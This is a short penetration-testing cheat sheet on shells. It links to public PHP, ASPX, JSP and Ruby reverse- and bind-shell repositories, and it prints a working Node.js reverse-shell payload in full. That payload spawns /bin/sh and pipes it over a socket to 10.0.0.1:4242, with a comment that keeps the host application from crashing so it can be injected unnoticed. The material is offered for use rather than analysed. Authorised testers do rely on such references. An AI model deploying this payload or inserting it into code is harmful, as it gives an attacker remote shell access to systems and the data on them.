# Shells

* revshells.com



### PHP Reverse Shell

[https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)

[https://github.com/ivan-sincek/php-reverse-shell](https://github.com/ivan-sincek/php-reverse-shell)

[https://github.com/Dhayalanb/windows-php-reverse-shell](https://github.com/Dhayalanb/windows-php-reverse-shell)

&#x20;

### ASPX Shell

[https://github.com/borjmz/aspx-reverse-shell](https://github.com/borjmz/aspx-reverse-shell)

&#x20;

### JSP Reverse Shell

[https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp](https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp)

&#x20;

### Ruby

* Reverse

[https://github.com/secjohn/ruby-shells/blob/master/revshell.rb](https://github.com/secjohn/ruby-shells/blob/master/revshell.rb)

* Bind

[https://github.com/secjohn/ruby-shells/blob/master/shell.rb](https://github.com/secjohn/ruby-shells/blob/master/shell.rb)

&#x20;

### JS-encapsulated Payload

```
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();
```
